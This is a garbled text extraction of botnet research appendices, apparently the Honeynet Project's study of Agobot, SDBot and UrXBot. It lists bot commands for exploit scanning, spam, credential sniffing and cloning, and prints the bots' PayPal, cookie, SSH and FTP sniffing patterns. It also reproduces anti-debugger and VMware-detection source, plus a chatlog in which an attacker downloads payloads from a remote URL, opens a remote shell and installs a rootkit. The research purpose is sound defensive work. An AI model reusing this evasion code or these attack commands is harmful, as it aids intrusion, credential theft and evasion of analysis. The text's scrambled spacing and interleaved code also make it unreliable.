scan.disable [scanner] [scanner] can be the same as above scan.startall starts all scanners scan.stopall stops all scanners scan.start starts all enabled scanners scan.stop stops all scanners scan.stats replys stats about exploitings per scanner scan.host [255.255.255.255[:port]] If given with port, just tries to exploit the host with the scanners fitting the ports, else all scanners are used. SDBot & UrXBot (scanall|sa) (scanstats|stats) scandel [port|method] [method] can be one of w e b d a vn t p a s sn e t b i o sd c o m 1 3 5d c o m 4 4 5d c o m 1 0 2 5
d c o m 2i i s 5 s s lm s s q lb e a g l e 1b e a g l e 2m y d o o ml s a s s _ 4 4 5l s a s s _ 1 3 9o p t i xu p n p n e t d e v i lD a m e W a r ek u a n g 2s u b 7

scanstop (advscan|asc) [port|method] [threads] [delay] [minutes] 3. Downloading files from the internet Agobot http.download download a file via HTTP http.execute updates the bot via the given HTTP URL http.update executes a file from a given HTTP URL The same commands are also available via FTP SDBot & UrXBot (update|up) [url] [botid] (download|dl) [url] [[runfile?]] [[crccheck]] [[length]] 4. Local file IO SDBot & UrXBot (execute|e) [path] (findfile|ff) filename (rename|mv) [from] [to] findfilestopp 5. Sending Spam Agobot cvar.set spam_aol_channel [channel] AOL Spam - Channel name

cvar.set spam_aol_enabled [1/0] AOL Spam - Enabled? cvar.set spam_maxthreads [8]cvar Spam Logic - Number of threads cvar.set spam_htmlemail [1/0]"true", Spam Logic - Send HTML emails cvar.set aolspam_maxthreads [8] AOL Spam Logic - Number of threads spam.setlist downloads list with email-addresses to spam them spam.settemplate downloads an email template spam.start starts the spamming spam.stop stops the spamming aolspam.setlist AOL Spam - downloads an email list aolspam.settemplate AOL - downloads an email template aolspam.setuser AOL - sets an username aolspam.setpass AOL - sets a password aolspam.start AOL - starts the spamming aolspam.stop AOL - stops the spamming SDBot
S of a r ,S D B o td o e sn o ti m p l e m e n td e d i c a t e ds p a m m i n g m e t h o d s .B u to t h e ro p t i o n st os e n ds p a ma r ep o s s i b l e : T h es p a m m e ru s e st h e" d o w n l o a d "c o m m a n dt od o w n l o a d a n de x e c u t eaS O C K S v 4 / v 5s e r v e r .T h es e r v e rp u b l i s h e s h i sI P a d d r e s sa n dS O C K S p o r ta taf i l eo na w e b s e r v e r .V i at h i sb a c k d o o r ,s p a mc a nb es e n t .

UrXBot email [server] [port] [srcmail] [dstmail] [mailsubj] 6. Sniffing Agobot

A g o b o t ss n i f f i n gi sr e a l l y" a d v a n c e d " :I fy o uc o m p i l e t h eb o tw i t hs n i f f i n ge n a b l e d ,i td r o p sas t r i p p e d d o w nl i p c p a pd l lo ns t a r t u pa n dr e g i s t e r si ta ss y s t e m d r i v e r .T h es n i f f i n gt h r e a dt h e nu s e sl i b p c r et o l o o k o u tf o rb o tc o m m a n d s

HTTP Commented: Like paypals? ;-D How about cookies? YUMMEH! -rain

Checks for "PAYPAL" "SET-COOKIE" SSH Commented: I dont get the idea, but the famous lsass author Nils contributed this and comments it // SSH - works - after the RSA key is sent, the login and pass is sent raw. Believe me. -Nils Checks for "login as:" "password:" "putty" "SECURECRT" CPANEL Commented: Like configuring Domains ? Here you go ! -Nils Checks for "cPanel" "Set-Cookie:" IRC Checks for:

" ^ : ( . * ) ! ( . * ) @ ( . * )( ( ? i ) P R I V M S G | N O T I C E )( . * ): ( . ) ( ( ? i ) l o g i n | a u t h | i d | i d e n t | h a s h i n | s e c u r e | l )( . * ) $ " " ^ ( ( ? i ) o p e r) ( . * ) " " ^ : ( . * )3 8 1( . * ): ( . * ) " " ^ ( ( ? i ) n i c k s e r vi d e n t i f y )( . * ) $ " " ^ : . *( ( ? i ) n o t i c e | p r i v m s g )( . * ): P a s s w o r da c c e p t e d . * " B o t n e tD D o S : " ^ : ( . * ) ! ( . * ) @ ( . * )( ( ? i ) P R I V M S G | N O T I C E )( . * ): ( . ) ( ( ? i ) d d o s | p a c k e t | f l o o d | u d p | s y n | p f a s t | c o l d r a g e | s y n 3 | s y n 2 | t a r g a | i c m p | f u c k | r a n d o m ) ( . * ) $ "

FTP Checks for:

" ^ ( ( ? i ) U S E R) ( . * ) " " ^ ( ( ? i ) P A S S) ( . * ) " " ^ ( 2 3 0) ( . * ) "

cvar.set sniffer_enabled 1/0 cvar.set sniffer_channel [destinationchannel] sets the destinations channel to which the results should be logged sniffer.addstring [pcre] adds a user-defined string to the sniffer sniffer.delstring [pcre] deletes a user-defined string from the sniffer SDBot
S D B o t ss n i f f i n gi sb a s e do nW i n d o w sr a ws o c k e t l i s t e n i n g . C o m p a r e dt ot h ew a yA g o b o t ss n i f f i n gi s i m p l e m e n t e d ,t h i sw a yi si n e f f e c t i v ea n dp o o r l y :T h e b o te v e ns n i f f sh i so w nt r a f f i ca n dr e c o g n i z e si ta s s n i f f e dt r a f f i c .I na d d i t i o n ,S D B o tl a c k sP C R Es u p p o r t a n du s e ss t r s t r ( )f o rc o m p a r i s o n .

HTTP Checks for: paypal PAYPAL paypal.com PAYPAL.COM Set-Cookie: IRC Checks for the following strings: :.login :,login :!login :@login :$login :%login :^login :&login :*login :-login :+login :/login :\\login :=login :?login :'login :`login :~login : login :.auth :,auth :!auth :@auth :$auth :%auth :^auth :&auth :*auth :-auth :+auth :/auth :\\auth :=auth :?auth :'auth :`auth :~auth : auth :.id :,id :!id :@id :$id :%id :^id :&id :*id :-id :+id :/id :\\id :=id :?id :'id :`id :~id : id :.hashin :!hashin :$hashin :%hashin :.secure :!secure :.l :!l :$l :%l :.x :!x :$x :%x :.syn :!syn :$syn :%syn CDKey JOIN # NICK OPER oper now an IRC Operator carnivore [on/off] 7. Cloning

Agobot For some reasons our agobot lacks cloning capabilities SDBot & UrXBot (clone|c) [host] [port] [channel] [[chanpass]] clonestop [clonenumber] (c_raw|c_r) [clonenumber] [raw irc command] (c_mode|c_m) [clonenumber][some irc mode] (c_nick|c_n) [clonenumber] [newnick|$randnick] (c_join|c_j) [clonenumber] [channel] (c_part|c_p) [clonenumber] [channel] (c_privmsg|c_pm) [clonenumber] [dest nick or channel] [msg] (c_action|c_a) [clonenumber] [dest nick or channel] [msg]

Appendix B: Source Code - What techniques bots use

In this side note, we take a closer look at the source code of some bots. We demonstrate several examples of techniques used by current bots to either speed-up computations or to detect suspicious environments, such as detection of debuggers or virtual machines such as VMware. Furthermore, some bots use different techniques to make forensic analysis much more difficult. 1. Detecting SoftICE
/ * F u n c t i o n :I s S I C E L o a d e d D e s c r i p t i o n :T h i sm e t h o di su s e db yal o to fc r y p t e r s / c o m p r e s o r si tu s e sI N T 4 1 , t h i si n t e r r u p ti su s e db yW i n d o w sd e b u g g i n gi n t e r f a c et od e t e c t i fa d e b u g g e ri sp r e s e n t .O n l yw o r k su n d e rW i n d o w s . R e t u r n s :t r u ei fad e b u g g e ri sd e t e c t e d * / _ _ i n l i n eb o o lI s S I C E L o a d e d ( ){ _ a s m{ m o va h ,0 x 4 3 i n t0 x 6 8 c m pa x ,0 x 0 F 3 8 6/ /W i l lb es e tb ya l ls y s t e md e b u g g e r s . j zo u t _ x o ra x ,a x m o ve s ,a x m o vb x ,w o r dp t re s : [ 0 x 6 8 * 4 ] m o ve s ,w o r dp t re s : [ 0 x 6 8 * 4 + 2 ] m o ve a x ,0 x 0 F 4 3 F C 8 0 c m pe a x ,d w o r dp t re s : [ e b x ] j n zo u t _ j m pn o r m a l _ n o r m a l _ : x o re a x ,e a x l e a v e r e t o u t _ : m o ve a x ,0 x 1

l e a v e r e t } r e t u r nf a l s e ; }

2. Detecting SoftICE NT
/ * F u n c t i o n :I s S o f t I c e N T L o a d e d D e s c r i p t i o n :L i k et h ep r e v i o u so n eb u tf o ru s eu n d e rW i nN To n l y R e t u r n s :t r u ei fS o f t I c ei sl o a d e d * / _ _ i n l i n eB O O LI s S o f t I c e N T L o a d e d ( ){ H A N D L Eh F i l e = C r e a t e F i l e (" \ \ \ \ . \ \ N T I C E " , G E N E R I C _ R E A D|G E N E R I C _ W R I T E , F I L E _ S H A R E _ R E A D|F I L E _ S H A R E _ W R I T E , N U L L ,O P E N _ E X I S T I N G ,F I L E _ A T T R I B U T E _ N O R M A L ,N U L L ) ; i f ( h F i l e ! = I N V A L I D _ H A N D L E _ V A L U E ){C l o s e H a n d l e ( h F i l e ) ;r e t u r nt r u e ;} r e t u r nf a l s e ; }

3. Detecting OllyDbg
/ * F u n c t i o n :I s O D B G L o a d e d D e s c r i p t i o n :T e s t si fO l l y D b g / o t h e ra p pd e b u g g e r si s / a r ee n a b l e d R e t u r n s :t r u ei fad e b u g g e ri sd e t e c t e d * / _ _ i n l i n eb o o lI s O D B G L o a d e d ( ){ c h a r* c a p t i o n = " D A E M O N " ; _ a s m{ p u s h0 x 0 0 p u s hc a p t i o n m o ve a x ,f s : [ 3 0 h ] m o v z xe a x ,b y t ep t r [ e a x + 0 x 2 ] o ra l , a l j zn o r m a l _ j m po u t _ n o r m a l _ : x o re a x ,e a x l e a v e r e t o u t _ : m o ve a x ,0 x 1 l e a v e r e t } } / /p o i n t e rt oP E B

4. Detecting Breakpoints
/ * F u n c t i o n sa r ed e c l a r e da s_ _ i n l i n e ,t h i sc a u s e st h ee x p a n s i o no ft h i sc o d e e a c ht i m eaf u n c t i o n i si n v o k e d ,t h i si st od i f f i c u l tt h ec r a c k e rw o r kb yu s i n gt h i sf u n c t i o n m o r et h a no n c et i m e F u n c t i o n :I s B P X D e s c r i p t i o n :C h e c k si ft h eg i v e nm e m o r ya d d r e s si sab r e a k p o i n t

R e t u r n s :t r u ei fi ti sab r e a k p o i n t * / _ _ i n l i n eb o o lI s B P X ( v o i d* a d d r e s s ){ _ a s m{ m o ve s i ,a d d r e s s m o va l ,[ e s i ] c m pa l ,0 x C C j eB P X e d

/ /l o a df u n c t i o na d d r e s s / /l o a dt h eo p c o d e / /c h e c ki ft h eo p c o d ei sC C h / /y e s ,t h e r ei sab r e a k p o i n t

/ /j u m pt or e t u r nt r u e x o re a x ,e a x / /f a l s e , j m pN O B P X / /n ob r e a k p o i n t B P X e d : m o ve a x ,1 N O B P X : } } / /b r e a k p o i n tf o u n d

5. Detecting VMWare
/ * e x e c u t e sV M w a r eb a c k d o o rI / Of u n c t i o nc a l l * / # d e f i n eV M W A R E _ M A G I C # d e f i n eV M W A R E _ P O R T # d e f i n eV M C M D _ G E T _ V E R S I O N 0 x 5 6 4 D 5 8 6 8 0 x 5 6 5 8 0 x 0 a / /B a c k d o o rm a g i cn u m b e r / /B a c k d o o rp o r tn u m b e r / /G e tv e r s i o nn u m b e r

i n tV M B a c k D o o r ( u n s i g n e dl o n g* r e g _ a ,u n s i g n e dl o n g* r e g _ b ,u n s i g n e dl o n g* r e g _ c , u n s i g n e dl o n g* r e g _ d ){ u n s i g n e dl o n ga ,b ,c ,d ; b = r e g _ b ? * r e g _ b : 0 ; c = r e g _ c ? * r e g _ c : 0 ; x t r y{ _ _ a s m{ p u s he a x p u s he b x p u s he c x p u s he d x m o ve a x ,V M W A R E _ M A G I C m o ve b x ,b m o ve c x ,c m o ve d x ,V M W A R E _ P O R T i ne a x ,d x m o va ,e a x m o vb ,e b x m o vc ,e c x m o vd ,e d x p o pe d x p o pe c x p o pe b x p o pe a x } }x c a t c h ( . . . ){ } i f ( r e g _ a )* r e g _ a = a ;i f ( r e g _ b )* r e g _ b = b ;i f ( r e g _ c )* r e g _ c = c ;i f ( r e g _ d ) * r e g _ d = d ; r e t u r na ; }

/ * C h e c kV M w a r ev e r s i o no n l y * / i n tV M G e t V e r s i o n ( ){ u n s i g n e dl o n gv e r s i o n ,m a g i c ,c o m m a n d ; c o m m a n d = V M C M D _ G E T _ V E R S I O N ; V M B a c k D o o r ( & a m p ; v e r s i o n ,& a m p ; m a g i c ,& a m p ; c o m m a n d ,N U L L ) ; i f ( m a g i c = = V M W A R E _ M A G I C )r e t u r nv e r s i o n ; e l s er e t u r n0 ;} / * C h e c ki fr u n n i n gi n s i d eV M W a r e * / i n tI s V M W a r e ( ){ i n tv e r s i o n = V M G e t V e r s i o n ( ) ; i f ( v e r s i o n )r e t u r nt r u e ;e l s er e t u r nf a l s e ; }

6. Fooling ProcDump
/ * F o o lP r o c D u m pw i t hi n c r e a s i n gs i z e * / v o i dF o o l P r o c D u m p ( ){ _ _ a s m{ m o ve a x ,f s : [ 0 x 3 0 ] m o ve a x ,[ e a x + 0 x C ] m o ve a x ,[ e a x + 0 x C ] a d dd w o r dp t r[ e a x + 0 x 2 0 ] ,0 x 2 0 0 0 } }

/ /i n c r e a s es i z ev a r i a b l e

7. Combining everything
b o o lC D e b u g D e t e c t : : I s D e b u g ( ){ # i f d e f_ D E B U G r e t u r nf a l s e ; # e l s e i f ( m _ b I s D e b u g )r e t u r nt r u e ; # i f n d e f_ W I N 3 2 / /A n t i P T r a c e / / i f ( p t r a c e ( P T R A C E _ T R A C E M E ,0 ,1 ,0 ) & l t ; 0 ){ / / m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; / / } # e l s e p f n I s D e b u g g e r P r e s e n tI s D b g P r e s e n t = N U L L ; H M O D U L Eh K 3 2 = G e t M o d u l e H a n d l e ( " K E R N E L 3 2 . D L L " ) ; i f ( ! h K 3 2 )h K 3 2 = L o a d L i b r a r y ( " K E R N E L 3 2 . D L L " ) ; i f ( h K 3 2 ){ I s D b g P r e s e n t = ( p f n I s D e b u g g e r P r e s e n t ) G e t P r o c A d d r e s s ( h K 3 2 , " I s D e b u g g e r P r e s e n t " ) ; } F o o l P r o c D u m p ( ) ; S c r e w W i t h V i r t u a l P C ( ) ; u n s i g n e dl o n gl S t a r t T i m e = G e t T i c k C o u n t ( ) ; i f ( I s B P X ( & a m p ; I s B P X ) ){

# i f d e fD B G C O N S O L E g _ c C o n s D b g . L o g ( 5 ," B r e a k p o i n ts e to nI s B P X ,d e b u g g e ra c t i v e . . . \ n " ) ; # e n d i f/ /D B G C O N S O L E m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; } i f ( I s B P X ( & a m p ; I s S I C E L o a d e d ) ){ # i f d e fD B G C O N S O L E g _ c C o n s D b g . L o g ( 5 ," B r e a k p o i n ts e to nI s S I C E L o a d e d ,d e b u g g e r a c t i v e . . . \ n " ) ; # e n d i f/ /D B G C O N S O L E m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; } i f ( I s B P X ( & a m p ; I s S o f t I c e N T L o a d e d ) ){ # i f d e fD B G C O N S O L E g _ c C o n s D b g . L o g ( 5 ," B r e a k p o i n ts e to nI s S o f t I c e N T L o a d e d ,d e b u g g e r a c t i v e . . . \ n " ) ; # e n d i f/ /D B G C O N S O L E m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; } i f ( I s B P X ( & a m p ; I s V M W a r e ) ){ # i f d e fD B G C O N S O L E g _ c C o n s D b g . L o g ( 5 ," B r e a k p o i n ts e to nI s V M W a r e ,d e b u g g e r a c t i v e . . . \ n " ) ; # e n d i f/ /D B G C O N S O L E m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; } i f ( I s S o f t I c e N T L o a d e d ( ) ){ # i f d e fD B G C O N S O L E g _ c C o n s D b g . L o g ( 5 ," S o f t I c en a m e dp i p ee x i s t s ,m a y b ed e b u g g e ri s a c t i v e . . . \ n " ) ; # e n d i f/ /D B G C O N S O L E m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; } i f ( I s S I C E L o a d e d ( ) ){ # i f d e fD B G C O N S O L E g _ c C o n s D b g . L o g ( 5 ," S o f t I c ei sl o a d e d ,d e b u g g e ra c t i v e . . . \ n " ) ; # e n d i f/ /D B G C O N S O L E m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; } / / i f ( I s V M W a r e ( ) ){ / / # i f d e fD B G C O N S O L E / / g _ c C o n s D b g . L o g ( 5 ," R u n n i n gi n s i d eV M W a r e ,p r o b a b l yh o n e y p o t . . . \ n " ) ; / / # e n d i f/ /D B G C O N S O L E / / m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; / / } i f ( I s D b g P r e s e n t ){ i f ( I s B P X ( & a m p ; I s D b g P r e s e n t ) ){ # i f d e fD B G C O N S O L E g _ c C o n s D b g . L o g ( 5 ," B r e a k p o i n ts e to nI s D e b u g g e r P r e s e n t , d e b u g g e ra c t i v e . . . \ n " ) ; # e n d i f/ /D B G C O N S O L E m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; } i f ( I s D b g P r e s e n t ( ) ){ # i f d e fD B G C O N S O L E g _ c C o n s D b g . L o g ( 5 ," I s D e b u g g e r P r e s e n tr e t u r n e dt r u e ,d e b u g g e r a c t i v e . . . \ n " ) ;

# e n d i f/ /D B G C O N S O L E m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; } } i f ( ( G e t T i c k C o u n t ( ) l S t a r t T i m e )& g t ;5 0 0 0 ){ # i f d e fD B G C O N S O L E g _ c C o n s D b g . L o g ( 5 ," R o u t i n et o o kt o ol o n gt oe x e c u t e ,p r o b a b l y s i n g l e s t e p . . . \ n " ) ; # e n d i f/ /D B G C O N S O L E m _ b I s D e b u g = t r u e ;r e t u r nt r u e ; } # e n d i f/ /W I N 3 2 r e t u r nf a l s e ; # e n d i f/ /_ D E B U G }

8. Calculating TCP/IP checksum in assembler to gain speed

/ * T h i sc a l c u l a t e saT C P / I Pc h e c k s u m * / # i f d e fW I N 3 2 # d e f i n eU S E _ A S M # e n d i f/ /W I N 3 2 u n s i g n e ds h o r tc h e c k s u m ( u n s i g n e ds h o r t* b u f f e r ,i n ts i z e ){ u n s i g n e dl o n gc k s u m = 0 ; # i f d e fU S E _ A S M u n s i g n e dl o n gl s i z e = s i z e ; c h a rs z M M B u f [ 8 ] ,* p M M B u f = s z M M B u f ; _ _ a s m{ F E M M S M O V e c x = l s i z e ; M O V e d x = b u f f e r ; M O V e b x = c k s u m ; C M P s i z e & l t ; 2 ; J S g o t ol o o p2 C K S U M _ L O O P : X O R e a x = 0 ; M O V a x = ( u n s i g n e ds h o r t * ) * b u f f e r ; A D D c k s u m + = ( u n s i g n e ds h o r t * ) * b u f f e r ; S U B s i z e = 2 ; A D D b u f f e r + = 2 ; C M P E C X ,1 / / E D X ,2 / / A X ,W O R DP T R[ E D X ] E B X ,E A X E C X ,2 / / / / / / E A X ,E A X / / C K S U M _ L O O P 2 / / E C X ,2 / / E B X ,c k s u m / / E D X ,b u f f e r / / E C X ,l s i z e / /

s i z e & g t ; 1 J G w h i l e ( ) ; C M P i f ( ! s i z e ) ; J E f i t si fe q u a l C K S U M _ L O O P 2 : X O R e a x = 0 ; M O V a l = ( u n s i g n e dc h a r * ) * b u f f e r ; A D D c k s u m + = ( u n s i g n e dc h a r * ) * b u f f e r ; S U B s i z e = 1 ; A D D b u f f e r + = 1 ; C M P s i z e & g t ; 0 ; J G w h i l e ( ) ; C K S U M _ F I T S : M O V c k s u m = e b x ; M O V e a x = c k s u m ; S H R e a x = c k s u m & g t ; & g t ; 1 6 ; M O V e b x = c k s u m ; A N D e b x = c k s u m & a m p ; 0 x f f f f ; E A X ,1 6 E B X ,c k s u m E B X ,0 x f f f f / / / / / / / / / / / / / / / / E A X ,c k s u m / / c k s u m ,E B X / / C K S U M _ L O O P 2 / / E C X ,0 / / E D X ,1 / / A L ,B Y T EP T R[ E D X ] E B X ,E A X E C X ,1 / / / / / / E A X ,E A X / / C K S U M _ F I T S / / E C X ,0 / / C K S U M _ L O O P / /

A D D E A X ,E B X e a x = ( c k s u m & g t ; & g t ; 1 6 ) + ( c k s u m & a m p ; 0 x f f f f ) ; M O V e b x = c k s u m ; S H R e b x = c k s u m & g t ; & g t ; 1 6 ; A D D c k s u m + = ( c k s u m & g t ; & g t ; 1 6 ) ; M O V c k s u m = E A X ; F E M M S } # e l s e/ /U S E _ A S M w h i l e ( s i z e & g t ; 1 ){c k s u m + = * b u f f e r + + ;s i z e = 2 ;} i f ( s i z e )c k s u m + = * ( u n s i g n e dc h a r * ) b u f f e r ; c k s u m = ( c k s u m & g t ; & g t ; 1 6 ) + ( c k s u m & a m p ; 0 x f f f f ) ; c k s u m + = ( c k s u m & g t ; & g t ; 1 6 ) ; # e n d i f/ /U S E _ A S M E B X ,1 6 E A X ,E B X c k s u m ,E A X E B X ,E A X

r e t u r n( u n s i g n e ds h o r t ) ( ~ c k s u m ) ;} * /

Appendix C: Chatlog - Watching attackers at their work

The following text is a capture of a session in which the attacker issued some commands. It shows how an attacker logs into a victim host and installs a rootkit on it. We added comments (marked in red) to help better explain the activity.
F e b1 91 3 : 3 3 : 4 1 < ~ f o o b a r > c : \ s o n o f i g o . d l l2 . s c a r i c ah t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / b i n d . d l l

instruct the bot to download the specified file (Note: URL is obfuscated)
F e b1 91 3 : 3 3 : 5 9 <F R A | X X X X X X > @2 0 1 . 3K B / s e c . [ D O W N L O A D ] :D 0 SD o w n l o a d e d3 4 2 2 . 8K Bi nc : \ s o n o f i g o . d l l

201.3 KB/sec - so the machines seems to have a fast Internet connection

F e b1 91 3 : 3 5 : 0 6 < ~ f o o b a r > . l o g o u t

command to logout the master...

F e b1 91 3 : 3 5 : 0 6 <F R A | X X X X X X > F e b1 91 3 : 3 6 : 1 6 < ~ f o o b a r > [ r 0 x ] :U s e rf o o b a rl o g g e do u t . F R A | X X X X X X. l o g i nt o l d o

... but he decides to login about one minute later

F e b1 91 3 : 3 6 : 1 7 <F R A | X X X X X X > F e b1 91 3 : 3 6 : 2 3 < ~ f o o b a r > [ r [ X ] S h 0 [ x ] ] :. : (P a s s w o r dA c c e t t a t a) : .. . o p e n c m d

open a command shell on this bot

F e b1 91 3 : 3 6 : 2 4 F e b1 91 3 : 3 6 : 2 5 F e b1 91 3 : 3 6 : 2 5 F e b1 91 3 : 3 6 : 2 7 <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > [ C M D ] :R e m o t es h e l lr e a d y . M i c r o s o f tW i n d o w sX P[ v e r s i o n5 . 1 . 2 6 0 0 ] ( C )C o p y r i g h t1 9 8 5 2 0 0 1M i c r o s o f tC o r p . C : \ D o c u m e n t sa n dS e t t i n g s \ K i M > . l o g o u t

F e b1 91 3 : 3 6 : 3 5 < ~ f o o b a r >

logout
F e b1 91 3 : 3 6 : 3 5 <F R A | X X X X X X > F e b1 91 3 : 3 6 : 4 0 < ~ f o o b a r > [ r 0 x ] :U s e rf o o b a rl o g g e do u t . F R A | X X X X X X. l o g i nt o l d o

and login again

F e b1 91 3 : 3 6 : 4 0 F e b1 91 3 : 3 6 : 4 1 F e b1 91 3 : 3 6 : 4 2 F e b1 91 3 : 3 6 : 5 4 <F R A | X X X X X X > < ~ f o o b a r > <F R A | X X X X X X > < ~ f o o b a r > [ r [ X ] S h 0 [ x ] ] :. : (P a s s w o r dA c c e t t a t a) : .. . o p e n c m d [ C M D ] :R e m o t es h e l la l r e a d yr u n n i n g . . c m dm k d i rc : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l

he issues some commands to create a directory, change to this directory and list its contents
F e b1 91 3 : 3 6 : 5 5 <F R A | X X X X X X > F e b1 91 3 : 3 6 : 5 6 <F R A | X X X X X X > m k d i rc : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l C : \ D o c u m e n t sa n dS e t t i n g s \ K i M >

F e b1 91 3 : 3 7 : 0 0 F e b1 91 3 : 3 7 : 0 1 F e b1 91 3 : 3 7 : 0 2 F e b1 91 3 : 3 7 : 0 3 F e b1 91 3 : 3 7 : 0 4 F e b1 91 3 : 3 7 : 0 5 F e b1 91 3 : 3 7 : 0 7 F e b1 91 3 : 3 7 : 0 9 F e b1 91 3 : 3 7 : 1 0 F e b1 91 3 : 3 7 : 1 1 F e b1 91 3 : 3 7 : 1 3 F e b1 91 3 : 3 7 : 1 4

< ~ f o o b a r > <F R A | X X X X X X > < ~ f o o b a r > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X >

. c m dc dc : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l c dc : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l . c m dd i r C : \ W I N D O W S \ s y s t e m 3 2 \ k e r n e l > d i r L ev o l u m ed a n sl el e c t e u rCn ' ap a sd en o m . L en u m r od es r i ed uv o l u m ee s tA 4 4 3 2 C A F R p e r t o i r ed eC : \ W I N D O W S \ s y s t e m 3 2 \ k e r n e l 1 9 / 0 2 / 2 0 0 5 1 3 : 3 7 < r e p > . 1 9 / 0 2 / 2 0 0 5 1 3 : 3 7 < r e p > . . 0f i c h i e r ( s ) 0o c t e t s 2R p ( s ) 8 9 9 0 3 0 2 2 0 8o c t e t sl i b r e s C : \ W I N D O W S \ s y s t e m 3 2 \ k e r n e l >

F e b1 91 3 : 3 8 : 2 5 < ~ f o o b a r > . s c a r i c a h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / U S B d r i v e . e x ec : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e 2

download the specified file (Note: URL is obfuscated again)

F e b1 91 3 : 3 8 : 2 6 <F R A | X X X X X X > . : ( D o W n L o A d ) : . :D o w n l o a d i n gU R L : h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / U S B d r i v e . e x et o : c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e . F e b1 91 3 : 3 8 : 3 0 <F R A | X X X X X X > [ D O W N L O A D ] :D 0 SD o w n l o a d e d9 9 0 . 6K Bi n c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e@1 9 8 . 1K B / s e c . F e b1 91 3 : 3 8 : 4 6 < ~ f o o b a r > . c m du s b d r i v e . e x e F e b1 91 3 : 3 8 : 4 7 <F R A | X X X X X X > u s b d r i v e . e x e F e b1 91 3 : 3 8 : 4 9 <F R A | X X X X X X > C : \ W I N D O W S \ s y s t e m 3 2 \ k e r n e l > F e b1 91 3 : 3 9 : 1 0 < ~ f o o b a r > . s c a r i c a h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / U S B d r i v e . e x ec : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e 1 F e b1 91 3 : 3 9 : 1 1 <F R A | X X X X X X > [ D O W N L O A D ] :D 0 SD o w n l o a d e d9 9 0 . 6K Bi n c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e@9 9 0 . 6K B / s e c . F e b1 91 3 : 3 9 : 1 1 <F R A | X X X X X X > . : ( D o W n L o A d ) : . :D o w n l o a d i n gU R L : h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / U S B d r i v e . e x et o : c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e . F e b1 91 3 : 3 9 : 1 1 <F R A | X X X X X X > [ D O W N L O A D ] :A p r oI lF i l e: c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ U S B d r i v e . e x e . F e b1 91 3 : 3 9 : 4 5 < ~ f o o b a r > . s c a r i c ah t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / m a x i . e x e c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ m a x i . e x e2 F e b1 91 3 : 3 9 : 4 5 <F R A | X X X X X X > . : ( D o W n L o A d ) : . :D o w n l o a d i n gU R L : h t t p : / / w w w . s 0 n g a v e z z 0 . a l t e r v i s t a . o r g / m a x i . e x et o :c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ m a x i . e x e . F e b1 91 3 : 3 9 : 5 7 <F R A | X X X X X X > [ D O W N L O A D ] :D 0 SD o w n l o a d e d2 8 3 0 . 7K Bi n c : \ w i n d o w s \ s y s t e m 3 2 \ k e r n e l \ m a x i . e x e@2 5 7 . 3K B / s e c . F e b1 91 3 : 4 0 : 2 8 < ~ f o o b a r > . c m dm a x i . e x e" M a X | D a v | t e s t 0 0 F e b1 91 3 : 4 0 : 2 9 <F R A | X X X X X X > m a x i . e x e" M a X | D a v | t e s t 0 0 F e b1 91 3 : 4 0 : 3 1 <F R A | X X X X X X > = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = F e b1 91 3 : 4 0 : 3 2 <F R A | X X X X X X > P i u 'l ec o s ec a m b i a n o ,p i u 'r e s t a n ol es t e s s e F e b1 91 3 : 4 0 : 3 3 <F R A | X X X X X X > F e b1 91 3 : 4 0 : 3 4 F e b1 91 3 : 4 0 : 3 5 F e b1 91 3 : 4 0 : 3 7 F e b1 91 3 : 4 0 : 3 8 F e b1 91 3 : 4 0 : 3 9 F e b1 91 3 : 4 0 : 4 0 F e b1 91 3 : 4 0 : 4 1 F e b1 91 3 : 4 0 : 4 2 F e b1 91 3 : 4 0 : 4 3 F e b1 91 3 : 4 0 : 4 4 F e b1 91 3 : 4 0 : 4 5 F e b1 91 3 : 4 0 : 4 7 F e b1 91 3 : 4 0 : 4 7 <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > <F R A | X X X X X X > r 0 0 t K i tM a k e r2 . 0 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = . . : : [ + ]A n a l i s id e lf i l e . . : : [ + ]L ' a r c h i v i oc o n t i e n eif i l e se s s e n z i a l i . . : : [ + ]L ' a r c h i v i oc o n t i e n eI r o f f e r . . : : 